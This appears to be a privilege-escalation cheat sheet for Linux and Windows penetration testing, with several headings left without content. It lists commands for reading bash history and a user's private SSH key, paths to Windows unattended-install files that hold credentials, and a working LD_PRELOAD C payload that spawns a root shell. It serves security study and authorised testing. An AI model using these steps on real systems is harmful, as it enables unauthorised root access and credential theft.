Privilege Escalation

Enumeration Scripts

• LinEnum

• Linuxprivchecker

• Seatbelt

• JAWS

• PEASS-ng

Techniques

Kernel Exploits

You can google known kernel exploits.

Vulnerable Software

List packages (Linux)

dpkg -l

List installed software (Windows)

User Privileges

Sudo

sudo -l

SUID

SGID

SUID / SGID

Windows Token Privileges

Scheduled Tasks

Crontab directories

/etc/crontab
/etc/cron.d
/var/spool/cron/crontabs/root

List crontab

Edit a crontab

Exposed Credentials

History

cat ~/.bash_history

Configuration files

SSH Keys

Get private SSH Key

cat /home/qu35t/.ssh/id_rsa

Generate SSH Key

Add an authorised key

SSH with private SSH key

LD_PRELOAD

Program

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

Compile

Load the library

Windows

Unattended Windows Installations

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Powershell History

Saved Windows Credentials

IIS Configuration

Scheduled Tasks

schtasks /query /tn vulntask /fo list /v

icacls c:\tasks\schtask.bat

List Services

References

• GTFOBins

• LOLBAS